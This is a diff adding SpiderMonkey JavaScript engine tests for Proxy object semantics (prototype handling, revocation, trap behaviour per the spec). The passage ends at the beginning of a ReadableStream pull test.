diff --git a/js/src/tests/non262/Proxy/proxy-__proto__.js b/js/src/tests/non262/Proxy/proxy-__proto__.js
new file mode 100644
index 0000000000..f68bea489b
--- /dev/null
+++ b/js/src/tests/non262/Proxy/proxy-__proto__.js
@@ -0,0 +1,59 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'proxy-__proto__.js';
+var BUGNUMBER = 950407;
+var summary = "Behavior of __proto__ on ES6 proxies";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var protoDesc = Object.getOwnPropertyDescriptor(Object.prototype, "__proto__");
+var protoGetter = protoDesc.get;
+var protoSetter = protoDesc.set;
+
+function testProxy(target, initialProto)
+{
+ print("Now testing behavior for new Proxy(" + ("" + target) + ", {})");
+
+ var pobj = new Proxy(target, {});
+
+ // Check [[Prototype]] before attempted mutation
+ assertEq(Object.getPrototypeOf(pobj), initialProto);
+ assertEq(protoGetter.call(pobj), initialProto);
+
+ // Attempt [[Prototype]] mutation
+ protoSetter.call(pobj, null);
+
+ // Check [[Prototype]] after attempted mutation
+ assertEq(Object.getPrototypeOf(pobj), null);
+ assertEq(protoGetter.call(pobj), null);
+ assertEq(Object.getPrototypeOf(target), null);
+}
+
+// Proxy object with non-null [[Prototype]]
+var nonNullProto = { toString: function() { return "non-null prototype"; } };
+var target = Object.create(nonNullProto);
+testProxy(target, nonNullProto);
+
+// Proxy object with null [[Prototype]]
+target = Object.create(null);
+target.toString = function() { return "null prototype" };
+testProxy(target, null);
+
+// Proxy function with [[Call]]
+var callForCallOnly = function () { };
+callForCallOnly.toString = function() { return "callable target"; };
+testProxy(callForCallOnly, Function.prototype);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Proxy/proxy-constructNonObject.js b/js/src/tests/non262/Proxy/proxy-constructNonObject.js
new file mode 100644
index 0000000000..04cee11e96
--- /dev/null
+++ b/js/src/tests/non262/Proxy/proxy-constructNonObject.js
@@ -0,0 +1,18 @@
+function bogusConstruct(target) { return 4; }
+function bogusConstructUndefined(target) { }
+
+var handler = { construct: bogusConstruct }
+
+function callable() {}
+
+var p = new Proxy(callable, handler);
+
+assertThrowsInstanceOf(function () { new p(); }, TypeError,
+ "[[Construct must throw if an object is not returned.");
+
+handler.construct = bogusConstructUndefined;
+assertThrowsInstanceOf(function () { new p(); }, TypeError,
+ "[[Construct must throw if an object is not returned.");
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0, "OK");
diff --git a/js/src/tests/non262/Proxy/proxy-for-in.js b/js/src/tests/non262/Proxy/proxy-for-in.js
new file mode 100644
index 0000000000..4332bfbbad
--- /dev/null
+++ b/js/src/tests/non262/Proxy/proxy-for-in.js
@@ -0,0 +1,37 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+let steps = [];
+
+const object = {
+ __proto__: {
+ "xyz": 42
+ }
+};
+const proxy = new Proxy(object, {
+ ownKeys(target) {
+ steps.push("ownKeys")
+ return ["a", "b"];
+ },
+
+ getOwnPropertyDescriptor(target, property) {
+ steps.push("getOwn-" + property);
+ return {
+ value: undefined,
+ configurable: true,
+ writable: true,
+ enumerable: (property === "a")
+ };
+ }
+});
+
+let iterated = [];
+for (let x in proxy)
+ iterated.push(x);
+
+assertEq(iterated.toString(), "a,xyz");
+assertEq(steps.toString(), "ownKeys,getOwn-a,getOwn-b");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/proxy-no-receiver-overwrite.js b/js/src/tests/non262/Proxy/proxy-no-receiver-overwrite.js
new file mode 100644
index 0000000000..86d352d454
--- /dev/null
+++ b/js/src/tests/non262/Proxy/proxy-no-receiver-overwrite.js
@@ -0,0 +1,23 @@
+"use strict";
+
+var y = new Proxy({}, {
+ getOwnPropertyDescriptor(target, key) {
+ if (key === "a") {
+ return { configurable: true, get: function(v) {} };
+ } else {
+ assertEq(key, "b");
+ return { configurable: true, writable: false, value: 15 };
+ }
+ },
+
+ defineProperty() {
+ throw "not invoked";
+ }
+})
+
+// This will invoke [[Set]] on the target, with the proxy as receiver.
+assertThrowsInstanceOf(() => y.a = 1, TypeError);
+assertThrowsInstanceOf(() => y.b = 2, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/proxy-proto-lazy-props.js b/js/src/tests/non262/Proxy/proxy-proto-lazy-props.js
new file mode 100644
index 0000000000..c82c0f935b
--- /dev/null
+++ b/js/src/tests/non262/Proxy/proxy-proto-lazy-props.js
@@ -0,0 +1,61 @@
+function makeProxyPrototype(target) {
+ return Object.setPrototypeOf(target, new Proxy({}, new Proxy({
+ getPrototypeOf() {
+ return null;
+ },
+ ownKeys() {
+ return [];
+ },
+ get(t, pk, r) {
+ throw new Error("Unexpected [[Get]]: " + String(pk));
+ }
+ }, {
+ get(t, pk, r) {
+ if (pk in t)
+ return Reflect.get(t, pk, r);
+ throw new Error("Unexpected trap called: " + pk);
+ }
+ })));
+}
+
+function enumerateMappedArgs(x) {
+ var a = makeProxyPrototype(arguments);
+
+ // Delete all lazy properties and ensure no [[Has]] trap is called for them
+ // on the prototype chain.
+ delete a.length;
+ delete a.callee;
+ delete a[Symbol.iterator];
+ delete a[0];
+
+ for (var k in a);
+}
+enumerateMappedArgs(0);
+
+function enumerateUnmappedArgs(x) {
+ "use strict";
+ var a = makeProxyPrototype(arguments);
+
+ delete a.length;
+ // delete a.callee; // .callee is non-configurable
+ delete a[Symbol.iterator];
+ delete a[0];
+
+ for (var k in a);
+}
+enumerateUnmappedArgs(0);
+
+function enumerateFunction() {
+ var f = makeProxyPrototype(function named() {});
+
+ // delete f.prototype; // .prototype is non-configurable
+ delete f.length;
+ delete f.name;
+
+ for (var k in f);
+}
+enumerateFunction();
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Proxy/proxy-with-revoked-arguments.js b/js/src/tests/non262/Proxy/proxy-with-revoked-arguments.js
new file mode 100644
index 0000000000..a60dddbea6
--- /dev/null
+++ b/js/src/tests/non262/Proxy/proxy-with-revoked-arguments.js
@@ -0,0 +1,53 @@
+var BUGNUMBER = 1151149;
+var summary = "Proxy constructor should not throw if either the target or handler is a revoked proxy.";
+
+print(BUGNUMBER + ": " + summary);
+
+var p = new Proxy({}, {});
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+var r = Proxy.revocable({}, {});
+p = r.proxy;
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+r.revoke();
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+
+var r2 = Proxy.revocable({}, {});
+r = Proxy.revocable(r2.proxy, {});
+p = r.proxy;
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+r2.revoke();
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+r.revoke();
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+
+var g = newGlobal();
+p = g.eval(`var r = Proxy.revocable({}, {}); r.proxy;`);
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+g.eval(`r.revoke();`);
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/regress-bug1037770.js b/js/src/tests/non262/Proxy/regress-bug1037770.js
new file mode 100644
index 0000000000..240b04f32e
--- /dev/null
+++ b/js/src/tests/non262/Proxy/regress-bug1037770.js
@@ -0,0 +1,7 @@
+foo = 1;
+Object.defineProperty(this, "foo", {writable:false, configurable:true});
+foo = 2;
+assertEq(foo, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/regress-bug1062349.js b/js/src/tests/non262/Proxy/regress-bug1062349.js
new file mode 100644
index 0000000000..fe0ad3d9a9
--- /dev/null
+++ b/js/src/tests/non262/Proxy/regress-bug1062349.js
@@ -0,0 +1,31 @@
+// Adapted from a test case contributed by André Bargull in bug 1062349.
+
+var log = [];
+var hh = {
+ get(t, pk) {
+ log.push("trap: " + pk);
+ return t[pk];
+ }
+};
+var h = new Proxy({
+ get set() {
+ log.push("called set()");
+ Object.defineProperty(o, "prop", {value: 0});
+ log.push("o.prop:", Object.getOwnPropertyDescriptor(o, "prop"));
+ }
+}, hh);
+var p = new Proxy({}, h);
+var o = {__proto__: p};
+
+o.prop = 1;
+
+var expectedDesc = {value: 0, writable: false, enumerable: false, configurable: false};
+assertDeepEq(log, [
+ "trap: set",
+ "called set()",
+ "o.prop:",
+ expectedDesc
+]);
+assertDeepEq(Object.getOwnPropertyDescriptor(o, "prop"), expectedDesc);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Proxy/regress-bug950407.js b/js/src/tests/non262/Proxy/regress-bug950407.js
new file mode 100644
index 0000000000..d253c75fc2
--- /dev/null
+++ b/js/src/tests/non262/Proxy/regress-bug950407.js
@@ -0,0 +1,7 @@
+var ab = new ArrayBuffer(5);
+var p = new Proxy(ab, {});
+var ps = Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").set;
+var new_proto = {};
+ps.call(p, new_proto);
+
+reportCompare(ab.__proto__, new_proto);
diff --git a/js/src/tests/non262/Proxy/report-writable-as-non-writable.js b/js/src/tests/non262/Proxy/report-writable-as-non-writable.js
new file mode 100644
index 0000000000..c0facd1057
--- /dev/null
+++ b/js/src/tests/non262/Proxy/report-writable-as-non-writable.js
@@ -0,0 +1,20 @@
+"use strict";
+
+var target = {};
+Object.defineProperty(target, "test",
+ {configurable: false, writable: true, value: 1});
+
+var proxy = new Proxy(target, {
+ getOwnPropertyDescriptor(target, property) {
+ assertEq(property, "test");
+ return {configurable: false, writable: false, value: 1};
+ }
+});
+
+assertThrowsInstanceOf(() => Object.getOwnPropertyDescriptor(proxy, "test"),
+ TypeError);
+
+assertThrowsInstanceOf(() => Reflect.getOwnPropertyDescriptor(proxy, "test"),
+ TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Proxy/revocable-proxy-prototype.js b/js/src/tests/non262/Proxy/revocable-proxy-prototype.js
new file mode 100644
index 0000000000..7afbc15d2a
--- /dev/null
+++ b/js/src/tests/non262/Proxy/revocable-proxy-prototype.js
@@ -0,0 +1,40 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'revocable-proxy-prototype.js';
+var BUGNUMBER = 1052139;
+var summary = "Accessing a revocable proxy's [[Prototype]] shouldn't crash";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+function checkFunctionAppliedToRevokedProxy(fun)
+{
+ var p = Proxy.revocable({}, {});
+ p.revoke();
+
+ try
+ {
+ fun(p.proxy);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "expected TypeError, got " + e);
+ }
+}
+
+checkFunctionAppliedToRevokedProxy(proxy => Object.getPrototypeOf(proxy));
+checkFunctionAppliedToRevokedProxy(proxy => Object.setPrototypeOf(proxy, null));
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Proxy/revoke-as-side-effect.js b/js/src/tests/non262/Proxy/revoke-as-side-effect.js
new file mode 100644
index 0000000000..25d4c9bf91
--- /dev/null
+++ b/js/src/tests/non262/Proxy/revoke-as-side-effect.js
@@ -0,0 +1,73 @@
+function createProxy(proxyTarget) {
+ var {proxy, revoke} = Proxy.revocable(proxyTarget, new Proxy({}, {
+ get(target, propertyKey, receiver) {
+ print("trap get:", propertyKey);
+ revoke();
+ }
+ }));
+ return proxy;
+}
+
+var obj;
+
+// [[GetPrototypeOf]]
+assertEq(Object.getPrototypeOf(createProxy({})), Object.prototype);
+assertEq(Object.getPrototypeOf(createProxy([])), Array.prototype);
+
+// [[SetPrototypeOf]]
+obj = {};
+Object.setPrototypeOf(createProxy(obj), Array.prototype);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+// [[IsExtensible]]
+assertEq(Object.isExtensible(createProxy({})), true);
+assertEq(Object.isExtensible(createProxy(Object.preventExtensions({}))), false);
+
+// [[PreventExtensions]]
+obj = {};
+Object.preventExtensions(createProxy(obj));
+assertEq(Object.isExtensible(obj), false);
+
+// [[GetOwnProperty]]
+assertEq(Object.getOwnPropertyDescriptor(createProxy({}), "a"), undefined);
+assertEq(Object.getOwnPropertyDescriptor(createProxy({a: 5}), "a").value, 5);
+
+// [[DefineOwnProperty]]
+obj = {};
+Object.defineProperty(createProxy(obj), "a", {value: 5});
+assertEq(obj.a, 5);
+
+// [[HasProperty]]
+assertEq("a" in createProxy({}), false);
+assertEq("a" in createProxy({a: 5}), true);
+
+// [[Get]]
+assertEq(createProxy({}).a, undefined);
+assertEq(createProxy({a: 5}).a, 5);
+
+// [[Set]]
+assertThrowsInstanceOf(() => createProxy({}).a = 0, TypeError);
+assertThrowsInstanceOf(() => createProxy({a: 5}).a = 0, TypeError);
+
+// [[Delete]]
+assertEq(delete createProxy({}).a, true);
+assertEq(delete createProxy(Object.defineProperty({}, "a", {configurable: false})).a, false);
+
+// [[OwnPropertyKeys]]
+assertEq(Object.getOwnPropertyNames(createProxy({})).length, 0);
+assertEq(Object.getOwnPropertyNames(createProxy({a: 5})).length, 1);
+
+// [[Call]]
+assertEq(createProxy(function() { return "ok" })(), "ok");
+
+// [[Construct]]
+// This throws because after the "construct" trap on the proxy is consulted,
+// OrdinaryCreateFromConstructor (called because the |q| function's
+// [[ConstructorKind]] is "base" per FunctionAllocate) accesses
+// |new.target.prototype| to create the |this| for the construct operation, that
+// would be returned if |return obj;| didn't override it.
+assertThrowsInstanceOf(() => new (createProxy(function q(){ return obj; })),
+ TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/revoke-no-name.js b/js/src/tests/non262/Proxy/revoke-no-name.js
new file mode 100644
index 0000000000..59ea80bd5d
--- /dev/null
+++ b/js/src/tests/non262/Proxy/revoke-no-name.js
@@ -0,0 +1,2 @@
+var revocationFunction = Proxy.revocable({}, {}).revoke;
+reportCompare(revocationFunction.name, "");
diff --git a/js/src/tests/non262/Proxy/revoked-get-function-realm-typeerror.js b/js/src/tests/non262/Proxy/revoked-get-function-realm-typeerror.js
new file mode 100644
index 0000000000..8214b3c9a7
--- /dev/null
+++ b/js/src/tests/non262/Proxy/revoked-get-function-realm-typeerror.js
@@ -0,0 +1,119 @@
+var constructors = [
+ // 19.1 Object Objects
+ {constructor: Object},
+
+ // 19.2 Function Objects
+ {constructor: Function},
+
+ // 19.3 Boolean Objects
+ {constructor: Boolean},
+
+ // 19.5 Error Objects
+ {constructor: Error},
+
+ // 19.5.5 Native Error Types Used in This Standard
+ {constructor: EvalError},
+ {constructor: RangeError},
+ {constructor: ReferenceError},
+ {constructor: SyntaxError},
+ {constructor: TypeError},
+ {constructor: URIError},
+
+ // 20.1 Number Objects
+ {constructor: Number},
+
+ // 20.3 Date Objects
+ {constructor: Date},
+
+ // 21.1 String Objects
+ {constructor: String},
+
+ // 21.2 RegExp (Regular Expression) Objects
+ {constructor: RegExp},
+
+ // 22.1 Array Objects
+ {constructor: Array},
+
+ // 22.2 TypedArray Objects
+ {constructor: Int8Array},
+
+ // 23.1 Map Objects
+ {constructor: Map},
+
+ // 23.2 Set Objects
+ {constructor: Set},
+
+ // 23.3 WeakMap Objects
+ {constructor: WeakMap},
+
+ // 23.4 WeakSet Objects
+ {constructor: WeakSet},
+
+ // 24.1 ArrayBuffer Objects
+ {constructor: ArrayBuffer},
+
+ // 24.2 SharedArrayBuffer Objects
+ ...(typeof SharedArrayBuffer === "function" ? [{constructor: SharedArrayBuffer}] : []),
+
+ // 24.3 DataView Objects
+ {constructor: DataView, args: [new ArrayBuffer(0)]},
+
+ // 25.2 GeneratorFunction Objects
+ {constructor: function*(){}.constructor},
+
+ // 25.3 AsyncGeneratorFunction Objects
+ {constructor: async function*(){}.constructor},
+
+ // 25.6 Promise Objects
+ {constructor: Promise, args: [function(){}]},
+
+ // 25.7 AsyncFunction Objects
+ {constructor: async function(){}.constructor},
+
+ // 9.2 ECMAScript Function Objects
+ {constructor: function(){}},
+
+ // Intl can be disabled at compile-time.
+ ...(typeof Intl !== "undefined" ? [
+ // 10 Collator Objects
+ {constructor: Intl.Collator},
+
+ // 11 NumberFormat Objects
+ {constructor: Intl.NumberFormat},
+
+ // 12 DateTimeFormat Objects
+ {constructor: Intl.DateTimeFormat},
+
+ // 13 PluralRules Objects
+ {constructor: Intl.PluralRules},
+
+ // Intl.RelativeTimeFormat proposal
+ {constructor: Intl.RelativeTimeFormat},
+
+ // Intl.Locale is not yet enabled by default.
+ ...(Intl.Locale ? [Intl.Locale] : []),
+ ] : []),
+];
+
+for (let {constructor, args = []} of constructors) {
+ let revoked = 0;
+ let {proxy, revoke} = Proxy.revocable(function(){}, {
+ get(t, pk, r) {
+ if (pk === "prototype") {
+ revoked++;
+ revoke();
+ return undefined;
+ }
+ return Reflect.get(t, pk, r);
+ }
+ });
+
+ assertThrowsInstanceOf(() => {
+ Reflect.construct(constructor, args, proxy);
+ }, TypeError);
+
+ assertEq(revoked, 1);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/setPrototypeOf.js b/js/src/tests/non262/Proxy/setPrototypeOf.js
new file mode 100644
index 0000000000..d79c53fd96
--- /dev/null
+++ b/js/src/tests/non262/Proxy/setPrototypeOf.js
@@ -0,0 +1,258 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "setPrototypeOf.js";
+var BUGNUMBER = 888969;
+var summary = "Scripted proxies' [[SetPrototypeOf]] behavior";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+const log = [];
+
+function observe(obj)
+{
+ var observingHandler = new Proxy({}, {
+ get(target, p, receiver) {
+ log.push(p);
+ return Reflect.get(target, p, receiver);
+ }
+ });
+
+ return new Proxy(obj, observingHandler);
+}
+
+var p, h;
+
+// 1. Assert: Either Type(V) is Object or Type(V) is Null.
+// 2. Let handler be the value of the [[ProxyHandler]] internal slot of O.
+// 3. If handler is null, throw a TypeError exception.
+// 4. Assert: Type(handler) is Object.
+// 5. Let target be the value of the [[ProxyTarget]] internal slot of O.
+
+var rev = Proxy.revocable({}, {});
+p = rev.proxy;
+
+var originalProto = Reflect.getPrototypeOf(p);
+assertEq(originalProto, Object.prototype);
+
+rev.revoke();
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, originalProto),
+ TypeError);
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+// 6. Let trap be ? GetMethod(handler, "setPrototypeOf").
+
+// handler has uncallable (and not null/undefined) property
+p = new Proxy({}, { setPrototypeOf: 9 });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: -3.7 });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: NaN });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: Infinity });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: true });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: /x/ });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: Symbol(42) });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: class X {} });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, observe({}));
+
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), true);
+assertEq(log.length, 1);
+assertEq(log[0], "get");
+
+h = observe({ setPrototypeOf() { throw 3.14; } });
+p = new Proxy(Object.create(Object.prototype), h);
+
+// "setting" without change
+log.length = 0;
+assertThrowsValue(() => Reflect.setPrototypeOf(p, Object.prototype),
+ 3.14);
+assertEq(log.length, 1);
+assertEq(log[0], "get");
+
+// "setting" with change
+log.length = 0;
+assertThrowsValue(() => Reflect.setPrototypeOf(p, /foo/),
+ 3.14);
+assertEq(log.length, 1);
+assertEq(log[0], "get");
+
+// 7. If trap is undefined, then
+// a. Return ? target.[[SetPrototypeOf]](V).
+
+var settingProtoThrows =
+ new Proxy({}, { setPrototypeOf() { throw "agnizes"; } });
+
+p = new Proxy(settingProtoThrows, { setPrototypeOf: undefined });
+assertThrowsValue(() => Reflect.setPrototypeOf(p, null),
+ "agnizes");
+
+p = new Proxy(settingProtoThrows, { setPrototypeOf: null });
+assertThrowsValue(() => Reflect.setPrototypeOf(p, null),
+ "agnizes");
+
+var anotherProto =
+ new Proxy({},
+ { setPrototypeOf(t, p) {
+ log.push("reached");
+ return Reflect.setPrototypeOf(t, p);
+ } });
+
+p = new Proxy(anotherProto, { setPrototypeOf: undefined });
+
+log.length = 0;
+assertEq(Reflect.setPrototypeOf(p, null), true);
+assertEq(log.length, 1);
+assertEq(log[0], "reached");
+
+p = new Proxy(anotherProto, { setPrototypeOf: null });
+
+log.length = 0;
+assertEq(Reflect.setPrototypeOf(p, null), true);
+assertEq(log.length, 1);
+assertEq(log[0], "reached");
+
+// 8. Let booleanTrapResult be ToBoolean(? Call(trap, handler, « target, V »)).
+
+// The trap callable might throw.
+p = new Proxy({}, { setPrototypeOf() { throw "ohai"; } });
+
+assertThrowsValue(() => Reflect.setPrototypeOf(p, /x/),
+ "ohai");
+
+var throwingTrap =
+ new Proxy(function() { throw "not called"; },
+ { apply() { throw 37; } });
+
+p = new Proxy({}, { setPrototypeOf: throwingTrap });
+
+assertThrowsValue(() => Reflect.setPrototypeOf(p, Object.prototype),
+ 37);
+
+// The trap callable must *only* be called.
+p = new Proxy({},
+ {
+ setPrototypeOf: observe(function() { throw "boo-urns"; })
+ });
+
+log.length = 0;
+assertThrowsValue(() => Reflect.setPrototypeOf(p, Object.prototype),
+ "boo-urns");
+
+assertEq(log.length, 1);
+assertEq(log[0], "apply");
+
+// 9. If booleanTrapResult is false, return false.
+
+p = new Proxy({}, { setPrototypeOf() { return false; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+p = new Proxy({}, { setPrototypeOf() { return +0; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+p = new Proxy({}, { setPrototypeOf() { return -0; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+p = new Proxy({}, { setPrototypeOf() { return NaN; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+p = new Proxy({}, { setPrototypeOf() { return ""; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+p = new Proxy({}, { setPrototypeOf() { return undefined; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+// 10. Let extensibleTarget be ? IsExtensible(target).
+
+var targetThrowIsExtensible =
+ new Proxy({}, { isExtensible() { throw "psych!"; } });
+
+p = new Proxy(targetThrowIsExtensible, { setPrototypeOf() { return true; } });
+assertThrowsValue(() => Reflect.setPrototypeOf(p, Object.prototype),
+ "psych!");
+
+// 11. If extensibleTarget is true, return true.
+
+var targ = {};
+
+p = new Proxy(targ, { setPrototypeOf() { return true; } });
+assertEq(Reflect.setPrototypeOf(p, /x/), true);
+assertEq(Reflect.getPrototypeOf(targ), Object.prototype);
+assertEq(Reflect.getPrototypeOf(p), Object.prototype);
+
+p = new Proxy(targ, { setPrototypeOf() { return /x/; } });
+assertEq(Reflect.setPrototypeOf(p, /x/), true);
+assertEq(Reflect.getPrototypeOf(targ), Object.prototype);
+assertEq(Reflect.getPrototypeOf(p), Object.prototype);
+
+p = new Proxy(targ, { setPrototypeOf() { return Infinity; } });
+assertEq(Reflect.setPrototypeOf(p, /x/), true);
+assertEq(Reflect.getPrototypeOf(targ), Object.prototype);
+assertEq(Reflect.getPrototypeOf(p), Object.prototype);
+
+p = new Proxy(targ, { setPrototypeOf() { return Symbol(true); } });
+assertEq(Reflect.setPrototypeOf(p, /x/), true);
+assertEq(Reflect.getPrototypeOf(targ), Object.prototype);
+assertEq(Reflect.getPrototypeOf(p), Object.prototype);
+
+// 12. Let targetProto be ? target.[[GetPrototypeOf]]().
+
+var targetNotExtensibleGetProtoThrows =
+ new Proxy(Object.preventExtensions({}),
+ { getPrototypeOf() { throw NaN; } });
+
+p = new Proxy(targetNotExtensibleGetProtoThrows,
+ { setPrototypeOf() { log.push("goober"); return true; } });
+
+log.length = 0;
+assertThrowsValue(() => Reflect.setPrototypeOf(p, /abcd/),
+ NaN);
+
+// 13. If SameValue(V, targetProto) is false, throw a TypeError exception.
+
+var newProto;
+
+p = new Proxy(Object.preventExtensions(Object.create(Math)),
+ { setPrototypeOf(t, p) { return true; } });
+
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+// 14. Return true.
+
+assertEq(Reflect.setPrototypeOf(p, Math), true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Proxy/shell.js b/js/src/tests/non262/Proxy/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Proxy/shell.js
diff --git a/js/src/tests/non262/Proxy/trap-null.js b/js/src/tests/non262/Proxy/trap-null.js
new file mode 100644
index 0000000000..703649e7c8
--- /dev/null
+++ b/js/src/tests/non262/Proxy/trap-null.js
@@ -0,0 +1,103 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'trap-null.js';
+var BUGNUMBER = 1257102;
+var summary = "null as a trap value on a handler should operate on the target";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// This might seem like overkill, but this proxying trick caught typos of
+// several trap names before this test landed. \o/ /o\
+var allTraps = {
+ getPrototypeOf: null,
+ setPrototypeOf: null,
+ isExtensible: null,
+ preventExtensions: null,
+ getOwnPropertyDescriptor: null,
+ defineProperty: null,
+ has: null,
+ get: null,
+ set: null,
+ deleteProperty: null,
+ ownKeys: null,
+ apply: null,
+ construct: null,
+};
+
+var complainingHandler = new Proxy(allTraps, {
+ get(target, p, receiver) {
+ var v = Reflect.get(target, p, receiver);
+ if (v !== null)
+ throw new TypeError("failed to set one of the traps to null? " + p);
+
+ return v;
+ }
+});
+
+var proxyTarget = function(x) {
+ "use strict";
+ var str = this + x;
+ str += new.target ? "constructing" : "calling";
+ return new.target ? new String(str) : str;
+};
+proxyTarget.prototype.toString = () => "###";
+proxyTarget.prototype.valueOf = () => "@@@";
+
+var proxy = new Proxy(proxyTarget, complainingHandler);
+
+assertEq(Reflect.getPrototypeOf(proxy), Function.prototype);
+
+assertEq(Object.getPrototypeOf(proxyTarget), Function.prototype);
+assertEq(Reflect.setPrototypeOf(proxy, null), true);
+assertEq(Object.getPrototypeOf(proxyTarget), null);
+
+assertEq(Reflect.isExtensible(proxy), true);
+
+assertEq(Reflect.isExtensible(proxyTarget), true);
+assertEq(Reflect.preventExtensions(proxy), true);
+assertEq(Reflect.isExtensible(proxy), false);
+assertEq(Reflect.isExtensible(proxyTarget), false);
+
+var desc = Reflect.getOwnPropertyDescriptor(proxy, "length");
+assertEq(desc.value, 1);
+
+assertEq(desc.configurable, true);
+assertEq(Reflect.defineProperty(proxy, "length", { value: 3, configurable: false }), true);
+desc = Reflect.getOwnPropertyDescriptor(proxy, "length");
+assertEq(desc.configurable, false);
+
+assertEq(Reflect.has(proxy, "length"), true);
+
+assertEq(Reflect.get(proxy, "length"), 3);
+
+assertEq(Reflect.set(proxy, "length", 3), false);
+
+assertEq(Reflect.deleteProperty(proxy, "length"), false);
+
+var keys = Reflect.ownKeys(proxy);
+assertEq(keys.length, 3);
+keys.sort();
+assertEq(keys[0], "length");
+assertEq(keys[1], "name");
+assertEq(keys[2], "prototype");
+
+assertEq(Reflect.apply(proxy, "hi!", [" "]), "hi! calling");
+
+var res = Reflect.construct(proxy, [" - "]);
+assertEq(typeof res, "object");
+assertEq(res instanceof String, true);
+assertEq(res.valueOf(), "@@@ - constructing");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/ReadableStream/basic-pull.js b/js/src/tests/non262/ReadableStream/basic-pull.js
new file mode 100644
index 0000000000..760937c67a
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/basic-pull.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!this.ReadableStream||!this.drainJobQueue)
+
+if ("ignoreUnhandledRejections" in this) {
+ ignoreUnhandledRejections();
+}
+
+// Example of a stream that produces data on demand, the "pull" model.
+let fibStream = new ReadableStream({
+ start(controller) {
+ this.a = 0;
+ this.b = 1;
+ controller.enqueue(0);
+ controller.enqueue(1);
+ },
+
+ pull(controller) {
+ [this.a, this.b] = [this.b, this.a + this.b];
+ controller.enqueue(this.b);
+ }
+});
